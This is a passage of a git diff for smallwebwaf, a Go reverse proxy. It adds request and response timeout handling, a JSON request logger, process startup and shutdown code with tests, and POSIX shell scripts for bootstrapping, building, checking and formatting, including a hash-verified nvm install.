rq.timersStopped { + return + } + + if rq.body == nil || !rq.body.waiting.Load() { + rq.refuse(refusal{ + status: http.StatusGatewayTimeout, + action: requestlog.ActionTimedOut, + }) + + return + } + + rq.refuse(refusal{ + status: http.StatusRequestTimeout, + action: requestlog.ActionTimedOut, + }) + // The transport gives up on the app only once its Read of the + // client's body returns, so that Read is ended now. The lock keeps + // this from reaching the connection after the request is handled. + _ = rq.rc.SetReadDeadline(time.Now()) +} + +// bodyReceived is called once the client has sent its whole body. +func (rq *request) bodyReceived() { + rq.mu.Lock() + defer rq.mu.Unlock() + + stopTimer(rq.clientRequestTimer) +} + +// wroteRequest is called once the app has been sent the whole request: +// the request timeouts end and SWWAF_UPSTREAM_RESPONSE_TIMEOUT starts. +func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) { + if info.Err != nil { + return // the transport gives up, or tries again + } + + rq.mu.Lock() + defer rq.mu.Unlock() + + if rq.timersStopped { + return + } + + stopTimer(rq.clientRequestTimer) + stopTimer(rq.upstreamRequestTimer) + rq.requestSent = time.Now() + + timeout := rq.h.config.UpstreamResponseTimeout + if timeout > 0 { + rq.upstreamResponseTimer = time.AfterFunc(timeout, rq.responseTimedOut) + } +} + +// responseTimedOut is called when SWWAF_UPSTREAM_RESPONSE_TIMEOUT runs out +// before the app has sent its whole answer. +func (rq *request) responseTimedOut() { + rq.mu.Lock() + defer rq.mu.Unlock() + + if !rq.timersStopped { + rq.refuse(refusal{ + status: http.StatusGatewayTimeout, + action: requestlog.ActionTimedOut, + }) + } +} + +// responseReceived is called once the app has sent its whole answer. +func (rq *request) responseReceived() { + rq.complete = true + rq.stopTimers() +} + +// startClientResponseTimeout sets SWWAF_CLIENT_RESPONSE_TIMEOUT on the +// connection to the client: the response must reach the client within it +// of the end of the request, or of now if the app answers before it has +// the whole request. +func (rq *request) startClientResponseTimeout() { + timeout := rq.h.config.ClientResponseTimeout + if timeout == 0 { + return + } + + from := rq.sentAt() + if from.IsZero() { + from = time.Now() + } + + _ = rq.rc.SetWriteDeadline(from.Add(timeout)) +} + +// sentAt is when the app had been sent the whole request, or zero. +func (rq *request) sentAt() time.Time { + rq.mu.Lock() + defer rq.mu.Unlock() + + return rq.requestSent +} + +// stopTimers stops the request's timeouts and keeps any from starting +// later: the app's answer is complete, the connection upgraded, or the +// request handled. +func (rq *request) stopTimers() { + rq.mu.Lock() + defer rq.mu.Unlock() + + rq.timersStopped = true + stopTimer(rq.clientRequestTimer) + stopTimer(rq.upstreamRequestTimer) + stopTimer(rq.upstreamResponseTimer) +} + +// stopTimer stops t, which is nil when its timeout is off. +func stopTimer(t *time.Timer) { + if t != nil { + t.Stop() + } +} diff --git a/internal/proxy/timeouts_test.go b/internal/proxy/timeouts_test.go new file mode 100644 index 0000000..e964d57 --- /dev/null +++ b/internal/proxy/timeouts_test.go @@ -0,0 +1,258 @@ +package proxy_test + +import ( + "errors" + "io" + "net" + "net/http" + "strconv" + "sync" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// largeBodySize is more than the connections between the client, +// smallwebwaf and the app can hold while nobody reads, so that a sender +// soon waits. +const largeBodySize = 64 << 20 + +// writeSize is how much a test sender writes at a time. +const writeSize = 32 << 10 + +func TestRequestTimeouts(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + // appTakesNothing has the app never read, while the client sends + // as fast as it can; otherwise the app reads, and the client + // stops sending halfway. + appTakesNothing bool + want int + }{ + { + name: "client request timeout, waiting on the client", + env: map[string]string{clientRequestTimeout: shortTimeoutSetting}, + want: http.StatusRequestTimeout, + }, + { + name: "upstream request timeout, waiting on the client", + env: map[string]string{ + upstreamRequestTimeout: shortTimeoutSetting, + clientRequestTimeout: longTimeoutSetting, + }, + want: http.StatusRequestTimeout, + }, + { + name: "upstream request timeout, waiting on the app", + env: map[string]string{upstreamRequestTimeout: shortTimeoutSetting}, + appTakesNothing: true, + want: http.StatusGatewayTimeout, + }, + { + name: "client request timeout, waiting on the app", + env: map[string]string{ + clientRequestTimeout: shortTimeoutSetting, + upstreamRequestTimeout: longTimeoutSetting, + }, + appTakesNothing: true, + want: http.StatusGatewayTimeout, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + var ( + appURL string + sendRequest func(*testing.T, string) net.Conn + ) + + if tc.appTakesNothing { + appURL, sendRequest = startAppThatTakesNothing(t), sendLargeBody + } else { + appURL, sendRequest = startApp(t, readBody).URL, sendPartOfBody + } + + addr, out := startProxy(t, appURL, tc.env) + start := time.Now() + conn := sendRequest(t, addr) + + wantStatus(t, readResponse(t, conn), tc.want) + wantTimedOut(t, start) + wantLine(t, out.requestLine(t), tc.want, requestlog.ActionTimedOut) + }) + } +} + +// readBody is an app that reads the request body, then answers. +func readBody(_ http.ResponseWriter, r *http.Request) { + _, _ = io.Copy(io.Discard, r.Body) +} + +// startAppThatTakesNothing starts an app that accepts connections and +// never reads from them, and returns its URL. +func startAppThatTakesNothing(t *testing.T) string { + t.Helper() + + listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + var ( + mu sync.Mutex + held []net.Conn + ) + + hold := func(conn net.Conn) { + mu.Lock() + defer mu.Unlock() + + held = append(held, conn) + } + + go func() { + for { + conn, err := listener.Accept() + if err != nil { + return + } + + hold(conn) + } + }() + + t.Cleanup(func() { + _ = listener.Close() + + mu.Lock() + defer mu.Unlock() + + for _, conn := range held { + _ = conn.Close() + } + }) + + return "http://" + listener.Addr().String() +} + +// sendPartOfBody sends a request that announces a large body, and only +// the first bytes of it. +func sendPartOfBody(t *testing.T, addr string) net.Conn { + t.Helper() + + conn := dial(t, addr) + send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+ + strconv.Itoa(largeBodySize)+"\r\n\r\nthe first bytes") + + return conn +} + +// sendLargeBody sends a request with a large body, as fast as smallwebwaf +// takes it, from a goroutine of its own. +func sendLargeBody(t *testing.T, addr string) net.Conn { + t.Helper() + + conn := dial(t, addr) + send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: "+ + strconv.Itoa(largeBodySize)+"\r\n\r\n") + + go func() { + chunk := make([]byte, writeSize) + for range largeBodySize / writeSize { + _, err := conn.Write(chunk) + if err != nil { + return + } + } + }() + + return conn +} + +func TestAppTooSlowToAnswer(t *testing.T) { + t.Parallel() + + app := startApp(t, func(_ http.ResponseWriter, r *http.Request) { + <-r.Context().Done() + }) + addr, out := startProxy(t, app.URL, map[string]string{ + upstreamResponseTimeout: shortTimeoutSetting, + }) + + start := time.Now() + + wantStatus(t, get(t, addr, "/slow"), http.StatusGatewayTimeout) + wantTimedOut(t, start) + + line := out.requestLine(t) + wantLine(t, line, http.StatusGatewayTimeout, requestlog.ActionTimedOut) + + _, answered := line.fields["upstream_status"] + if answered { + t.Errorf("log line has upstream_status %v for an app that never answered", + line.fields["upstream_status"]) + } +} + +func TestAppTooSlowToFinishItsAnswer(t *testing.T) { + t.Parallel() + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.WriteString(w, "the first part") + _ = http.NewResponseController(w).Flush() + + <-r.Context().Done() + }) + addr, out := startProxy(t, app.URL, map[string]string{ + upstreamResponseTimeout: shortTimeoutSetting, + }) + + start := time.Now() + got := get(t, addr, "/slow") + wantStatus(t, got, http.StatusOK) + + if string(got.body) != "the first part" || !errors.Is(got.err, io.ErrUnexpectedEOF) { + t.Errorf("client read %q (%v), want the first part cut off", got.body, got.err) + } + + wantTimedOut(t, start) + + line := out.requestLine(t) + wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut) + + if line.UpstreamStatus != http.StatusOK { + t.Errorf("log line has upstream_status %d, want %d", + line.UpstreamStatus, http.StatusOK) + } +} + +func TestClientTooSlowToTakeTheAnswer(t *testing.T) { + t.Parallel() + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + chunk := make([]byte, writeSize) + for range largeBodySize / writeSize { + _, err := w.Write(chunk) + if err != nil { + return + } + } + }) + addr, out := startProxy(t, app.URL, map[string]string{ + clientResponseTimeout: shortTimeoutSetting, + }) + + start := time.Now() + + // The client asks, and never reads the answer. + conn := dial(t, addr) + send(t, conn, "GET /large HTTP/1.1\r\nHost: app\r\n\r\n") + + line := out.requestLine(t) + wantTimedOut(t, start) + wantLine(t, line, http.StatusOK, requestlog.ActionTimedOut) +} diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go new file mode 100644 index 0000000..07f074b --- /dev/null +++ b/internal/requestlog/requestlog.go @@ -0,0 +1,102 @@ +// Package requestlog writes the lines smallwebwaf prints on stdout: one +// JSON object per request, marked "type":"request", and the process's own +// messages as JSON lines marked "type":"process". +package requestlog + +import ( + "encoding/json" + "fmt" + "io" + "log/slog" + "time" +) + +// The action a request line names: what smallwebwaf did with the +// request. +const ( + // ActionForward is a request passed to the app. + ActionForward = "forward" + // ActionTooLarge is a request or response over its size limit. + ActionTooLarge = "too_large" + // ActionTimedOut is a request or response that ran out of time. + ActionTimedOut = "timed_out" + // ActionUpstreamError is a request the app could not be reached + // for, or whose answer could not be passed on. + ActionUpstreamError = "upstream_error" +) + +// timeLayout is RFC 3339 with milliseconds. +const timeLayout = "2006-01-02T15:04:05.000Z07:00" + +// Line is one request's line in the request log. The field names are +// those of the "Request log" section of SPEC.md. +// +//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case +type Line struct { + Type string `json:"type"` + Time string `json:"time"` + ClientIP string `json:"client_ip"` + PeerIP string `json:"peer_ip"` + Method string `json:"method"` + Host string `json:"host"` + Path string `json:"path"` + Query string `json:"query"` + Protocol string `json:"protocol"` + Status int `json:"status"` + UpstreamStatus int `json:"upstream_status,omitempty"` + RequestBytes int64 `json:"request_bytes"` + ResponseBytes int64 `json:"response_bytes"` + Referer string `json:"referer"` + UserAgent string `json:"user_agent"` + Action string `json:"action"` + // Aborted is true when the client went away early. + Aborted bool `json:"aborted,omitempty"` + // DurationTotal and DurationUpstreamTotal are in milliseconds. + DurationTotal float64 `json:"duration_total"` + DurationUpstreamTotal float64 `json:"duration_upstream_total,omitempty"` +} + +// Write writes line to w as one JSON line marked "type":"request". +func Write(w io.Writer, line *Line) error { + line.Type = "request" + + encoded, err := json.Marshal(line) + if err != nil { + return fmt.Errorf("encode the request log line: %w", err) + } + + _, err = w.Write(append(encoded, '\n')) + if err != nil { + return fmt.Errorf("write the request log line: %w", err) + } + + return nil +} + +// FormatTime formats t for a line's time field: RFC 3339 in UTC, with +// milliseconds. +func FormatTime(t time.Time) string { + return t.UTC().Format(timeLayout) +} + +// Milliseconds is d in milliseconds, to the microsecond. +func Milliseconds(d time.Duration) float64 { + return float64(d.Microseconds()) / float64(time.Millisecond/time.Microsecond) +} + +// NewProcessLogger returns the logger for the process's own messages: +// JSON lines on w, marked "type":"process", with the time in the same form +// as a request line's. +func NewProcessLogger(w io.Writer) *slog.Logger { + handler := slog.NewJSONHandler(w, &slog.HandlerOptions{ + ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr { + if attr.Key == slog.TimeKey && len(groups) == 0 { + return slog.String(slog.TimeKey, FormatTime(attr.Value.Time())) + } + + return attr + }, + }) + + return slog.New(handler).With("type", "process") +} diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go new file mode 100644 index 0000000..84fba56 --- /dev/null +++ b/internal/requestlog/requestlog_test.go @@ -0,0 +1,88 @@ +package requestlog_test + +import ( + "bytes" + "encoding/json" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { + t.Parallel() + + var out bytes.Buffer + + err := requestlog.Write(&out, &requestlog.Line{ + Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)), + ClientIP: "203.0.113.9", + Status: 200, + Action: requestlog.ActionForward, + DurationTotal: requestlog.Milliseconds(1500 * time.Microsecond), + }) + if err != nil { + t.Fatalf("write: %v", err) + } + + text := out.String() + if strings.Count(text, "\n") != 1 || !strings.HasSuffix(text, "\n") { + t.Fatalf("wrote %q, want one line", text) + } + + var fields map[string]any + + err = json.Unmarshal(out.Bytes(), &fields) + if err != nil { + t.Fatalf("decode %q: %v", text, err) + } + + want := map[string]any{ + "type": "request", "time": "2026-10-03T12:00:00.000Z", + "client_ip": "203.0.113.9", "status": 200.0, "action": "forward", + "duration_total": 1.5, + } + for name, value := range want { + if fields[name] != value { + t.Errorf("%s is %v, want %v", name, fields[name], value) + } + } + + unset := []string{"upstream_status", "aborted", "duration_upstream_total"} + for _, name := range unset { + _, present := fields[name] + if present { + t.Errorf("%s is there with no value to give", name) + } + } +} + +func TestProcessLinesAreMarkedProcess(t *testing.T) { + t.Parallel() + + var out bytes.Buffer + + requestlog.NewProcessLogger(&out).Info("starting", "version", "v1") + + var fields map[string]any + + err := json.Unmarshal(out.Bytes(), &fields) + if err != nil { + t.Fatalf("decode %q: %v", out.String(), err) + } + + if fields["type"] != "process" || fields["msg"] != "starting" || + fields["level"] != "INFO" || fields["version"] != "v1" { + t.Errorf("process line %v", fields) + } + + timeText, _ := fields["time"].(string) + + logged, err := time.Parse(time.RFC3339, timeText) + if err != nil || !strings.HasSuffix(timeText, "Z") || + len(timeText) != len("2006-01-02T15:04:05.000Z") || + time.Since(logged) > time.Minute { + t.Errorf("process line time %q, want now in UTC with milliseconds", timeText) + } +} diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go new file mode 100644 index 0000000..7141b63 --- /dev/null +++ b/internal/smallwebwaf/smallwebwaf.go @@ -0,0 +1,130 @@ +// Package smallwebwaf runs the smallwebwaf process: it reads the settings, +// serves requests until it is told to stop, and then stops in an orderly +// way. +package smallwebwaf + +import ( + "context" + "errors" + "io" + "log/slog" + "net" + "net/http" + "os" + "os/signal" + "syscall" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// shutdownTimeout is how long requests in progress may take to finish +// once smallwebwaf is told to stop, before their connections are closed. +// runit and docker wait a little longer before they kill the process. +const shutdownTimeout = 5 * time.Second + +// Params are what Run needs from the process. +type Params struct { + // Version is the version of the binary, set when it is built. + Version string + // LookupEnv reads an environment variable, normally os.LookupEnv. + LookupEnv func(string) (string, bool) + // Stdout receives the request log and the process's own messages. + Stdout io.Writer +} + +// Main runs smallwebwaf until SIGTERM or SIGINT, and returns the +// process's exit status. +func Main(version string) int { + ctx, stop := signal.NotifyContext(context.Background(), + syscall.SIGTERM, os.Interrupt) + defer stop() + + return Run(ctx, Params{ + Version: version, + LookupEnv: os.LookupEnv, + Stdout: os.Stdout, + }) +} + +// Run reads the settings, then serves requests until ctx is done. It +// returns the process's exit status, 1 when smallwebwaf cannot start. +func Run(ctx context.Context, params Params) int { + processLog := requestlog.NewProcessLogger(params.Stdout) + + cfg, err := config.FromEnvironment(params.LookupEnv) + if err != nil { + processLog.Error("invalid setting", "error", err.Error()) + + return 1 + } + + listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) + if err != nil { + processLog.Error("cannot listen on SWWAF_LISTEN_ADDR", + "error", err.Error()) + + return 1 + } + + server := proxy.New(proxy.Params{ + Config: cfg, + RequestLog: params.Stdout, + ProcessLog: processLog, + }) + + processLog.Info("starting", + "version", params.Version, + "address", listener.Addr().String(), + "settings", cfg) + + return serve(ctx, server, listener, processLog) +} + +// serve serves requests on listener until ctx is done, then gives the +// requests in progress shutdownTimeout to finish. +func serve( + ctx context.Context, server *http.Server, listener net.Listener, + processLog *slog.Logger, +) int { + served := make(chan error, 1) + + go func() { + served <- server.Serve(listener) + }() + + select { + case err := <-served: + processLog.Error("serving failed", "error", err.Error()) + + return 1 + case <-ctx.Done(): + } + + processLog.Info("stopping") + + shutdownCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx), + shutdownTimeout) + defer cancel() + + err := server.Shutdown(shutdownCtx) + if err != nil { + processLog.Warn("requests still in progress were cut off", + "error", err.Error()) + + _ = server.Close() + } + + err = <-served + if !errors.Is(err, http.ErrServerClosed) { + processLog.Error("serving failed", "error", err.Error()) + + return 1 + } + + processLog.Info("stopped") + + return 0 +} diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go new file mode 100644 index 0000000..2013071 --- /dev/null +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -0,0 +1,225 @@ +package smallwebwaf_test + +import ( + "bytes" + "context" + "encoding/json" + "io" + "net" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/smallwebwaf" +) + +const ( + // waitLimit bounds how long a test waits for what should happen. + waitLimit = 10 * time.Second + // pollInterval is how often a test looks for a line. + pollInterval = 10 * time.Millisecond + // testVersion is the version the tests give smallwebwaf. + testVersion = "test" + // localhost is where the tests listen. + localhost = "127.0.0.1" + listenAddr = "SWWAF_LISTEN_ADDR" +) + +// output collects what smallwebwaf writes on stdout. +type output struct { + mu sync.Mutex + buf bytes.Buffer +} + +// Write adds lines smallwebwaf writes. +func (o *output) Write(p []byte) (int, error) { + o.mu.Lock() + defer o.mu.Unlock() + + return o.buf.Write(p) +} + +// line returns the first line whose field key is value, waiting for it. +func (o *output) line(t *testing.T, key, value string) map[string]any { + t.Helper() + + deadline := time.Now().Add(waitLimit) + for time.Now().Before(deadline) { + o.mu.Lock() + text := o.buf.String() + o.mu.Unlock() + + for line := range strings.Lines(text) { + var fields map[string]any + + err := json.Unmarshal([]byte(line), &fields) + if err != nil { + t.Fatalf("output line %q is not JSON: %v", line, err) + } + + if fields[key] == value { + return fields + } + } + + time.Sleep(pollInterval) + } + + t.Fatalf("no line with %s %q in the output:\n%s", key, value, o.buf.String()) + + return nil +} + +// run runs smallwebwaf with the settings in env until ctx is done, and +// returns its exit status. +func run(ctx context.Context, env map[string]string, out *output) int { + return smallwebwaf.Run(ctx, smallwebwaf.Params{ + Version: testVersion, + LookupEnv: func(name string) (string, bool) { + value, ok := env[name] + + return value, ok + }, + Stdout: out, + }) +} + +func TestInvalidSettingStopsTheStart(t *testing.T) { + t.Parallel() + + out := &output{} + + status := run(t.Context(), map[string]string{"SWWAF_REQUEST_MAX_BYTES": "lots"}, out) + if status != 1 { + t.Errorf("exit status %d, want 1", status) + } + + line := out.line(t, "msg", "invalid setting") + message, _ := line["error"].(string) + + if line["type"] != "process" || line["level"] != "ERROR" || + !strings.HasPrefix(message, "SWWAF_REQUEST_MAX_BYTES: ") { + t.Errorf("start refused with %v", line) + } +} + +func TestAddressInUseStopsTheStart(t *testing.T) { + t.Parallel() + + taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + if err != nil { + t.Fatalf("listen: %v", err) + } + + defer func() { + _ = taken.Close() + }() + + out := &output{} + + status := run(t.Context(), map[string]string{listenAddr: taken.Addr().String()}, out) + if status != 1 { + t.Errorf("exit status %d, want 1", status) + } + + out.line(t, "msg", "cannot listen on SWWAF_LISTEN_ADDR") +} + +func TestServesUntilToldToStop(t *testing.T) { + t.Parallel() + + app := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "hello from the app") + })) + defer app.Close() + + ctx, stop := context.WithCancel(t.Context()) + out := &output{} + exited := make(chan int, 1) + + go func() { + exited <- run(ctx, map[string]string{ + listenAddr: localhost + ":0", + "SWWAF_UPSTREAM_URL": app.URL, + }, out) + }() + + starting := out.line(t, "msg", "starting") + wantStartingLine(t, starting, app.URL) + + addr, _ := starting["address"].(string) + wantGreeting(t, "http://"+addr+"/") + out.line(t, "type", "request") + + stop() + + select { + case status := <-exited: + if status != 0 { + t.Errorf("exit status %d, want 0", status) + } + case <-time.After(waitLimit): + t.Fatal("still running after being told to stop") + } + + out.line(t, "msg", "stopped") +} + +// wantStartingLine checks that the line at start gives the version and +// every setting's value. +func wantStartingLine(t *testing.T, line map[string]any, appURL string) { + t.Helper() + + settings, _ := line["settings"].(map[string]any) + want := map[string]any{ + listenAddr: localhost + ":0", + "SWWAF_UPSTREAM_URL": appURL, + "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", + "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", + "SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s", + "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", + "SWWAF_REQUEST_MAX_BYTES": "100M", + "SWWAF_RESPONSE_MAX_BYTES": "5G", + } + + for name, value := range want { + if settings[name] != value { + t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value) + } + } + + if line["version"] != testVersion || line["type"] != "process" { + t.Errorf("starting line %v", line) + } +} + +// wantGreeting checks that a request to url gets the app's answer. +func wantGreeting(t *testing.T, url string) { + t.Helper() + + req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, url, + http.NoBody) + if err != nil { + t.Fatalf("new request: %v", err) + } + + transport := &http.Transport{} + defer transport.CloseIdleConnections() + + res, err := (&http.Client{Transport: transport}).Do(req) + if err != nil { + t.Fatalf("request: %v", err) + } + + body, err := io.ReadAll(res.Body) + _ = res.Body.Close() + + if err != nil || string(body) != "hello from the app" { + t.Errorf("got %q (%v), want the app's answer", body, err) + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..dc05cde --- /dev/null +++ b/package.json @@ -0,0 +1,5 @@ +{ + "devDependencies": { + "prettier": "3.8.1" + } +} diff --git a/script/bootstrap b/script/bootstrap new file mode 100755 index 0000000..d0e97bc --- /dev/null +++ b/script/bootstrap @@ -0,0 +1,143 @@ +#!/bin/sh +# script/bootstrap: install all dependencies needed to build and develop +# this repo. Idempotent: every install is guarded by a check so already +# installed tools are skipped. Base tooling comes from nix, apt, brew, +# or apk (detected in that order); assumes nothing is present. Node is +# used directly if installed; otherwise it is installed at a pinned +# version via nvm (installing nvm itself first, from a hash-verified +# release archive, never curl | sh). Go comes from the package manager, +# for gofmt in script/fmt and script/fmt-check: the tests and the linter +# run in docker and need no Go on the host. +set -eu + +ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" + +# Pinned versions, 2026-07-06 +NODE_VERSION="22.17.0" +NVM_VERSION="0.40.3" +# sha256 of https://github.com/nvm-sh/nvm/archive/refs/tags/v0.40.3.tar.gz +NVM_SHA256="5f4d6aaa04a177dc93c985e31dbc411ab6b8c6e1e21d8015dbc1372625fcd1d0" +YARN_VERSION="1.22.22" + +PKGMGR="" +SUDO="" + +detect_pkgmgr() { + [ -n "$PKGMGR" ] && return 0 + if command -v nix-env >/dev/null 2>&1; then + PKGMGR="nix" + elif command -v apt-get >/dev/null 2>&1; then + PKGMGR="apt" + elif command -v brew >/dev/null 2>&1; then + PKGMGR="brew" + elif command -v apk >/dev/null 2>&1; then + PKGMGR="apk" + else + echo "bootstrap: no supported package manager (nix, apt, brew, apk)" >&2 + exit 1 + fi + if [ "$PKGMGR" = "apt" ]; then + export DEBIAN_FRONTEND=noninteractive + if [ "$(id -u)" != "0" ]; then + SUDO="sudo" + fi + fi +} + +# pkg_install +pkg_install() { + detect_pkgmgr + case "$PKGMGR" in + nix) nix-env -iA "nixpkgs.$1" ;; + apt) + # A fresh CI runner may carry no package lists at all. + $SUDO env DEBIAN_FRONTEND=noninteractive apt-get update -q + $SUDO env DEBIAN_FRONTEND=noninteractive apt-get install -y "$2" + ;; + brew) brew install "$3" ;; + apk) apk add --no-cache "$4" ;; + esac +} + +missing() { + ! command -v "$1" >/dev/null 2>&1 +} + +# verify_sha256 +verify_sha256() { + if command -v sha256sum >/dev/null 2>&1; then + actual="$(sha256sum "$1" | cut -d' ' -f1)" + else + actual="$(shasum -a 256 "$1" | cut -d' ' -f1)" + fi + if [ "$actual" != "$2" ]; then + echo "bootstrap: sha256 mismatch for $1" >&2 + echo " expected: $2" >&2 + echo " actual: $actual" >&2 + exit 1 + fi +} + +# nvm is a bash script; run a command in a bash with nvm loaded +nvm_sh() { + bash -c ". \"\$HOME/.nvm/nvm.sh\" && $*" +} + +ensure_nvm() { + [ -s "$HOME/.nvm/nvm.sh" ] && return 0 + # nvm prerequisites; nvm itself requires bash + if missing bash; then pkg_install bash bash bash bash; fi + if missing curl; then pkg_install curl curl curl curl; fi + if missing git; then pkg_install git git git git; fi + tmp="$(mktemp -d)" + curl -fsSL -o "$tmp/nvm.tar.gz" \ + "https://github.com/nvm-sh/nvm/archive/refs/tags/v${NVM_VERSION}.tar.gz" + verify_sha256 "$tmp/nvm.tar.gz" "$NVM_SHA256" + mkdir -p "$HOME/.nvm" + tar -xzf "$tmp/nvm.tar.gz" -C "$HOME/.nvm" --strip-components=1 + rm -rf "$tmp" +} + +ensure_node() { + if ! missing node; then return 0; fi + ensure_nvm + nvm_sh "nvm install $NODE_VERSION" +} + +ensure_yarn() { + if ! missing yarn; then return 0; fi + if ! missing corepack; then + corepack enable + corepack prepare "yarn@$YARN_VERSION" --activate + elif [ -s "$HOME/.nvm/nvm.sh" ]; then + nvm_sh "nvm use $NODE_VERSION >/dev/null && corepack enable && \ + corepack prepare yarn@$YARN_VERSION --activate" + else + npm install -g "yarn@$YARN_VERSION" + fi +} + +install_js_deps() { + if missing yarn && [ -s "$HOME/.nvm/nvm.sh" ]; then + nvm_sh "nvm use $NODE_VERSION >/dev/null && cd \"$ROOT\" && \ + yarn install --frozen-lockfile" + else + yarn install --frozen-lockfile + fi +} + +main() { + cd "$ROOT" + + if missing make; then pkg_install gnumake make make make; fi + if missing git; then pkg_install git git git git; fi + if missing gofmt; then pkg_install go golang go go; fi + + ensure_node + ensure_yarn + install_js_deps + + echo "bootstrap complete" +} + +main "$@" diff --git a/script/build b/script/build new file mode 100755 index 0000000..94bd69c --- /dev/null +++ b/script/build @@ -0,0 +1,18 @@ +#!/bin/sh +# script/build: build bin/smallwebwaf on the host, with Go installed, for +# working on the code by hand. The version it reports comes from git, as +# in script/docker. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + cd "$ROOT" + version="$(git describe --tags --always --dirty 2>/dev/null || true)" + [ -n "$version" ] || version="unknown" + go build -trimpath -ldflags "-X main.Version=$version" \ + -o bin/smallwebwaf ./cmd/smallwebwaf +} + +main "$@" diff --git a/script/check b/script/check new file mode 100755 index 0000000..92875f7 --- /dev/null +++ b/script/check @@ -0,0 +1,16 @@ +#!/bin/sh +# script/check: run all checks (test, lint, fmt-check). Our own +# extension to scripts-to-rule-them-all. test and lint are Docker +# phases; fmt-check is native, because a formatter writes the working +# tree. Must not modify any files. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" + +main() { + "$SCRIPT_DIR/test" + "$SCRIPT_DIR/lint" + "$SCRIPT_DIR/fmt-check" +} + +main "$@" diff --git a/script/cibuild b/script/cibuild new file mode 100755 index 0000000..688299f --- /dev/null +++ b/script/cibuild @@ -0,0 +1,29 @@ +#!/bin/sh +# script/cibuild: run the CI build. It bootstraps first: a CI runner +# checks out and runs this and nothing else, and script/fmt-check runs +# the formatter on the host, which a pristine checkout cannot do. +# --no-cache for the same reason as script/docker: the gate phases the +# final stage depends on are RUN steps, and a cached one is a check that +# did not run. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + cd "$ROOT" + "$SCRIPT_DIR/bootstrap" + "$SCRIPT_DIR/check" + # Own line: a failing command substitution inside an argument does + # not trip `set -e`, so the inline form degrades silently to an + # empty constant. VERSION is computed here because .dockerignore + # excludes .git, so `git describe` in a build stage yields an empty + # version without failing. + version="$(git describe --tags --always --dirty 2>/dev/null || true)" + [ -n "$version" ] || version="unknown" + docker build --no-cache \ + --build-arg VERSION="$version" \ + -t "$("$SCRIPT_DIR/projectname")" . +} + +main "$@" diff --git a/script/docker b/script/docker new file mode 100755 index 0000000..c4688e8 --- /dev/null +++ b/script/docker @@ -0,0 +1,25 @@ +#!/bin/sh +# script/docker: build the Docker image tagged with the project name. +# Identical in all repos; the tag comes from script/projectname. +# --no-cache because the gate phases the final stage depends on are RUN +# steps, and a cached one is a check that did not run. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +main() { + cd "$ROOT" + # Own line: a failing command substitution inside an argument does + # not trip `set -e`, so the inline form degrades silently to an + # empty constant. VERSION is computed here because .dockerignore + # excludes .git, so `git describe` in a build stage yields an empty + # version without failing. + version="$(git describe --tags --always --dirty 2>/dev/null || true)" + [ -n "$version" ] || version="unknown" + docker build --no-cache \ + --build-arg VERSION="$version" \ + -t "$("$SCRIPT_DIR/projectname")" . +} + +main "$@" diff --git a/script/fmt b/script/fmt new file mode 100755 index 0000000..9febb30 --- /dev/null +++ b/script/fmt @@ -0,0 +1,33 @@ +#!/bin/sh +# script/fmt: format all files (writes): the Go code with gofmt, the +# Markdown with prettier. +set -eu + +ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" + +# Must match the pin in script/bootstrap. +NODE_VERSION="22.17.0" + +# script/bootstrap installs node and yarn under nvm and leaves neither +# on the PATH of the shell that called it, so resolve the pinned +# toolchain here the way bootstrap's own install step does. nvm is a +# bash script, hence the subshell. +run_yarn() { + if command -v yarn >/dev/null 2>&1; then + exec yarn "$@" + fi + if [ 